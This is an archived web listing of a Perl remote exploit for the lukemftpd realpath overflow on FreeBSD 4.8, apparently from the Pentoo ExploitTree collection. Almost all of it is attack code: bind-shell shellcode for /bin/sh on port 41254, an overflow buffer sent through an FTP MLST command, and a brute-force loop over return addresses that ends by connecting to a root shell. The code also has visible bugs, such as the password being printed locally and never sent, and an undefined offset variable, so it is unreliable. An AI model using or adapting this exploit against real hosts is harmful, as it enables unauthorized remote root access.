home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / lukemftp / lukemftp.pl < prev   
Perl Script  |  2005-02-12  |  2KB  |  84 lines

  1. #!/usr/bin/perl
  2.  
  3. #realpath lukemftpd remote exploit for freeBSD 4.8
  4. #i managed to code this, and lose the first copy, hence a re-write :(
  5. #deadbeat,
  6. #left without any return addresses/offsets purposely to stop kids using it..
  7. #want the rets/offsets? heh..
  8. #
  9. #tested on freeBSD 4.8 and it worked ;) it worked ;)
  10. #e: daniels@legend.co.uk
  11. #e: deadbeat@sdf.lonestar.org
  12.  
  13. use IO::Socket;
  14.  
  15. $user = $ARGV[0];
  16. $pass = $ARGV[1];
  17. $ret = $ARGV[2];
  18. $offset = $ARGV[3];
  19. $host = $ARGV[4];
  20. $buf= 1024;
  21. $n = "./";
  22. print "lukemftpd remote for FreeBSD 4.8 ..\n";
  23. print "this is the kiddiot version, go grab them ret's+offsets..lool\n";
  24. print "contact me and i might give u the rets/offsets\n";
  25. if(!$ARGV[4]){
  26.     die "Usage: perl $0 <user> <pass> <ret> <offset> <host>\n";
  27. }
  28. sub brute_force
  29. {
  30.     $r = $_[0];
  31.     $o = $_[1];
  32.  
  33.         #shellcode from zillion.. from safemode.org...binds /bin/sh on 41254
  34.     $hell =    "\xeb\x64\x5e\x31\xc0\x88\x46\x07\x6a\x06\x6a\x01\x6a\x02\xb0".
  35.                 "\x61\x50\xcd\x80\x89\xc2\x31\xc0\xc6\x46\x09\x02\x66\xc7\x46".
  36.                 "\x0a\xa1\x26\x89\x46\x0c\x6a\x10\x8d\x46\x08\x50\x52\x31\xc0".
  37.                 "\xb0\x68\x50\xcd\x80\x6a\x01\x52\x31\xc0\xb0\x6a\x50\xcd\x80".
  38.                 "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff".
  39.                 "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01".
  40.                 "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff".
  41.                 "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";
  42.  
  43.     $addr = pack('l', ($r+$o));
  44.     for($i=0;$i <$buf; $i +=4){
  45.         $buffer .=$addr;
  46.     }
  47.     for($i=0;$i<$buf - length($hell) /2;$i++){
  48.         $buffer .=$n;
  49.     }
  50.     $buffer .=$hell;
  51.  
  52.     print "Connecting to: $host\n";
  53.     $sox = IO::Socket::INET->new(
  54.         Proto=>"tcp",
  55.         PeerPort=>"21",
  56.         PeerAddr=>"$host"
  57.     )or die "cant connect to $host ...maybe try a real host ;)\n";
  58.     sleep 1;
  59.     print ("[+]Trying addr: 0x", sprintf('%lx', ($r + $o)),"\n");
  60.     print $sox "user $user\r\n";
  61.     sleep 1;
  62.     print "pass $pass\r\n";
  63.     sleep 1;
  64.     print $sox "MLST $buffer\r\n";
  65.     sleep 2;
  66.     close $sox;
  67.     print "Trying to connect to r00tshell\n";
  68.     $sox = IO::Socket::INET->new(
  69.         Proto=>"tcp",
  70.         PeerPort=>"41254",
  71.         PeerAddr=>"$host"
  72.     )or die"No r00tshell this time, try using a proper offset/ret_addr..\n";
  73.     print "Wicked we got a r00tshell on $host : 41254\n\n";
  74.     close $sox;
  75. }
  76.  
  77. for($a=0;$a<1000;$a++){
  78.     $offset++;
  79.     $reta = pack('l', ($ret+$o));
  80.     print "Brute Force [$a]\n";
  81.     brute_force($reta,$offset);
  82. }
  83.  
  84.